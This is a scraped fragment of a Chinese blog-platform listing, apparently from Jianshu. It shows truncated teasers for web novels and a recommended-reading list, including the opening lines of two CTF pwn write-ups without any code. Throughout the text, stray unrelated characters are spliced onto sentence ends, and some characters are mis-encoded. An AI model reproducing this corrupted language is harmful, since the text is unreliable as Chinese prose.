    茶點故事閱讀 35,937評論 2 323
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了官帘。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片瞬雹。...
    茶點故事閱讀 38,039評論 1 333
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖刽虹,靈堂內(nèi)的尸體忽然破棺而出酗捌,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 33,701評論 4 323
  • 正文 年R本政府宣布胖缤,位于F島的核電站尚镰,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏哪廓。R本人自食惡果不足惜狗唉,卻給世界環(huán)境...
    茶點故事閱讀 39,254評論 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望涡真。 院中可真熱鬧分俯,春花似錦、人聲如沸哆料。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,259評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽东亦。三九已至杏节,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間典阵,已是汗流浹背奋渔。 一陣腳步聲響...
    開封第一講書人閱讀 31,485評論 1 262
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留壮啊,地道東北人嫉鲸。 一個月前我還...
    沈念sama閱讀 45,497評論 2 354
  • 正文 我出身青樓,卻偏偏與公主長得像他巨,于是被迫代替她去往敵國和親充坑。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 42,786評論 2 345

推薦閱讀更多精彩內(nèi)容

  • 這篇博客用來記錄攻防世界pwn新手區(qū)刷題過程染突。捻爷。。 0x01 get_shell 題目描述: 運行就能拿到shel...
    a1gx閱讀 3,205評論 2 1
  • 0x01 Start checksec 的時候可以看到程序沒有打開任何的安全保護措施份企,然后查看IDA下的匯編代碼也榄,...
    Nevv閱讀 1,669評論 0 2
  • 久違的晴天,家長會司志。 家長大會開好到教室時甜紫,離放學已經(jīng)沒多少時間了。班主任說已經(jīng)安排了三個家長分享經(jīng)驗骂远。 放學鈴聲...
    飄雪兒5閱讀 7,493評論 16 22
  • 今天感恩節(jié)哎囚霸,感謝一直在我身邊的親朋好友。感恩相遇激才!感恩不離不棄拓型。 中午開了第一次的黨會额嘿,身份的轉(zhuǎn)變要...
    迷月閃星情閱讀 10,551評論 0 11
  • 在妖界我有個名頭叫胡百曉,無論是何事劣挫,只要找到胡百曉即可有解決的辦法册养。因為是只狐貍大家以訛傳訛叫我“傾城百曉”,...
    貓九0110閱讀 3,255評論 7 3